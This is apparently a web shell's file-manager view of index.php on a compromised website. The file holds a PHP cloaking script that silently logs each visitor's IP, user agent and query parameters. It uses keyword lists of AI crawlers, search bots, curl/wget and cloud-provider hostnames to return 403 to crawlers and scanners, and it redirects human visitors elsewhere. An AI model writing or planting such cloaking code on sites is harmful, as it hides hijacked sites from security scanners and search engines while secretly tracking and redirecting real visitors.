Your IP : 216.73.216.23


Current Path : /home/www/hallgroupsolutions.com/home/
Upload File :
Current File : /home/www/hallgroupsolutions.com/home/index.php

<?php
// ==================== INDEX.PHP - Logging + Redirect + Blok berdasarkan ISP/Hostname ====================

function getClientIP() {
    $ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    $headers = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'];
    foreach ($headers as $h) {
        if (!empty($_SERVER[$h])) {
            $ips = explode(',', $_SERVER[$h]);
            foreach ($ips as $possible) {
                $possible = trim($possible);
                if (filter_var($possible, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                    return $possible;
                }
            }
        }
    }
    return $ip;
}

function isAIbot($ua) {
    $blocked = [
        'gptbot','chatgpt-user','oai-searchbot','openai','openai-search',
        'claudebot','anthropic','claude-user','claude-search',
        'google-extended','google-other','gemini','vertex','googlebot',
        'perplexitybot','perplexity-ai','telegrambot',
        'bytespider','meta-externalagent','facebookexternalhit',
        'applebot-extended','grok','xai-crawler','ccbot','amazonbot',
        'diffbot','scrapy','python-requests','curl','wget','bingbot'
    ];
    $ua = strtolower($ua ?? '');
    if (empty($ua) || strlen($ua) < 10) return true;
    foreach ($blocked as $b) {
        if (strpos($ua, $b) !== false) return true;
    }
    return false;
}

function isCloudISP($ip) {
    // Lakukan reverse DNS lookup
    $hostname = @gethostbyaddr($ip);  // @ untuk suppress warning jika gagal

    if ($hostname === $ip || empty($hostname)) {
        // Tidak ada PTR record → anggap bukan cloud (atau bot yang sengaja hide)
        return false;
    }

    $hostname_lower = strtolower($hostname);

    // Daftar keyword ISP/cloud/datacenter yang sering dipakai bot (update 2026)
    $cloud_keywords = [
        'amazon', 'aws', 'ec2', 'amazonaws',
        'microsoft', 'azure', 'windowsazure',
        'google', 'googleusercontent', 'gcp', 'cloud.google',
        'oracle', 'oraclecloud',
        'digitalocean', 'linode', 'vultr', 'hetzner', 'ovhcloud', 'contabo', 'scaleway',
        'cloudflare', 'akamai', 'fastly', 'quadranet', 'choopa', 'blazingfast',
        'psychz', 'colocrossing', 'highwinds', 'softlayer', 'ovh'
    ];

    foreach ($cloud_keywords as $kw) {
        if (strpos($hostname_lower, $kw) !== false) {
            return true;
        }
    }

    return false;
}

function logVisit($ip, $ua, $is_bot, $request_uri) {
    try {
        $db = new PDO('sqlite:visitors.db');
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $db->exec("CREATE TABLE IF NOT EXISTS visits (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
            ip TEXT,
            user_agent TEXT,
            is_bot INTEGER DEFAULT 0,
            request_uri TEXT,
            query_params TEXT
        )");
        $query_params = json_encode($_GET, JSON_UNESCAPED_UNICODE | JSON_INVALID_UTF8_IGNORE);
        $stmt = $db->prepare("INSERT INTO visits (ip, user_agent, is_bot, request_uri, query_params) VALUES (?, ?, ?, ?, ?)");
        $stmt->execute([$ip, $ua, $is_bot ? 1 : 0, $request_uri, $query_params]);
    } catch (Exception $e) {
        // silent fail
    }
}

// =============== EKSEKUSI ===============
$ip = getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$request_uri = $_SERVER['REQUEST_URI'] ?? '/';
$is_bot_ua   = isAIbot($ua);
$is_cloud_isp = isCloudISP($ip);
$is_bot = $is_bot_ua || $is_cloud_isp;

// Log dulu (supaya tercatat juga yang diblokir)
logVisit($ip, $ua, $is_bot, $request_uri);

// Jika bot / cloud ISP → blokir
if ($is_bot) {
    http_response_code(403);
    header('Content-Type: text/plain');
    echo "Access denied. Bot / AI crawler / cloud provider detected.\nIP: $ip";
    exit;
}

// Jika manusia → langsung redirect
header("Location: https://www.bing.com");
exit;